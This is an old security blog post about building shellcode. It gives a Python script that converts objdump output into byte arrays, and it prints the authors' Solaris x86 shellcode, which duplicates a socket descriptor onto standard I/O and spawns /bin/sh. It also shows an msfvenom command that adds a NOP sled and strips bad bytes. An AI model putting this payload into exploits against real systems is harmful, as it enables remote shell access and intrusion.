Friday, June 10, 2011

Shellcode from C

As Luca has already pointed out, we spent a lot of time developing our own shellcode for the pp200. Usually a typical shellcode development environment looks like this:
void
f(void)
{
//__asm__ or C code
}
int
main()
{
f();
}
The actual code goes into the f-function either as inline assembly or C. Now the module is typically compiled, disassembled and the resulting opcodes are put in binary form, as C-array or whatever you prefer into an exploit-script. What usually costs about 1-2 minutes of time for each iteration is to format the disassembled opcodes into the format needed, no big deal but since it is scriptable it shall be done:
#!/usr/bin/python
import sys
import re

def get_code():
code = []
lines = sys.stdin.readlines()
pattern = re.compile('.*:\s+(([0-9a-f]{2} | [0-9a-f]{2})+)($|\s\s\s\s+.*)')
hexpat = re.compile('([0-9a-f]{2})')
for i in lines:
i = i.rstrip('\n')
match = re.search(pattern, i)
if match:
match = re.findall(hexpat, match.group(1))
for byte in match:
code.append(int(byte, 16))
else:
raise Exception('line "%s" did not match expected format' % (i))
return code

def write_binary(code):
for byte in code:
sys.stdout.write("%c" % byte)

def write_c_arr(code):
sys.stdout.write('static char code [] = "')
for byte in code:
sys.stdout.write("\\x%02x" % byte)
sys.stdout.write('";\n')

def write_python_string(code):
sys.stdout.write('code = "')
for byte in code:
sys.stdout.write("\\x%02x" % byte)
sys.stdout.write('"\n')

def usage(name):
print "%s \npossible modes:\n\t-b binary (default)\n\t-p python\n\t-c C\n\ninput is read from stdin" % name

def main():
if len(sys.argv) == 2 and (sys.argv[1] == '-h' or sys.argv[1] == '--help'):
usage(sys.argv[0])
sys.exit(0)
code = get_code()
if len(sys.argv) == 2:
if sys.argv[1] == '-b':
write_binary(code)
elif sys.argv[1] == '-p':
write_python_string(code)
elif sys.argv[1] == '-c':
write_c_arr(code)
else:
write_binary(code)

if __name__ == '__main__':
main()

You simply pipe or paste the output of objdump -D into the script and it outputs the opcodes in raw binary form, as C-array or python-string.
Plugging in our solaris shellcode gives us:
shell_code.py -c                            
80483a6:       90                      nop
80483a7:       31 d2                   xor    %edx,%edx
80483a9:       31 db                   xor    %ebx,%ebx
80483ab:       31 ff                   xor    %edi,%edi
80483ad:       31 c9                   xor    %ecx,%ecx
80483af:       b3 09                   mov    $0x9,%bl
80483b1:       66 bf 3e 00             mov    $0x3e,%di
80483b5:       b1 05                   mov    $0x5,%cl
80483b7:       52                      push   %edx
80483b8:       53                      push   %ebx
80483b9:       51                      push   %ecx
80483ba:       52                      push   %edx
80483bb:       89 f8                   mov    %edi,%eax
80483bd:       cd 91                   int    $0x91
80483bf:       6a 01                   push   $0x1
80483c1:       53                      push   %ebx
80483c2:       51                      push   %ecx
80483c3:       52                      push   %edx
80483c4:       89 f8                   mov    %edi,%eax
80483c6:       cd 91                   int    $0x91
80483c8:       6a 02                   push   $0x2
80483ca:       53                      push   %ebx
80483cb:       51                      push   %ecx
80483cc:       52                      push   %edx
80483cd:       89 f8                   mov    %edi,%eax
80483cf:       cd 91                   int    $0x91
80483d1:       31 c0                   xor    %eax,%eax
80483d3:       50                      push   %eax
80483d4:       68 6e 2f 73 68          push   $0x68732f6e
80483d9:       68 2f 2f 62 69          push   $0x69622f2f
80483de:       89 e3                   mov    %esp,%ebx
80483e0:       50                      push   %eax
80483e1:       53                      push   %ebx
80483e2:       89 e2                   mov    %esp,%edx
80483e4:       50                      push   %eax
80483e5:       52                      push   %edx
80483e6:       53                      push   %ebx
80483e7:       b0 3b                   mov    $0x3b,%al
80483e9:       50                      push   %eax
80483ea:       cd 91                   int    $0x91
static char code [] = "\x90\x31\xd2\x31\xdb\x31\xff\x31\xc9\xb3\x09\x66\xbf\x3e\x00
\xb1\x05\x52\x53\x51\x52\x89\xf8\xcd\x91\x6a\x01\x53\x51\x52\x89\xf8\xcd\x91\x6a\x02
\x53\x51\x52\x89\xf8\xcd\x91\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\x50\xcd\x91";
This script can be used with metasploit's msfvenom to create shellcode that is for example also free of zerobytes and newlines and has a 200 byte nop-sled prepended:
shell_code.py | ./msfvenom -p - -n 200 -b '\x00\x0a' -f c

No comments:

Post a Comment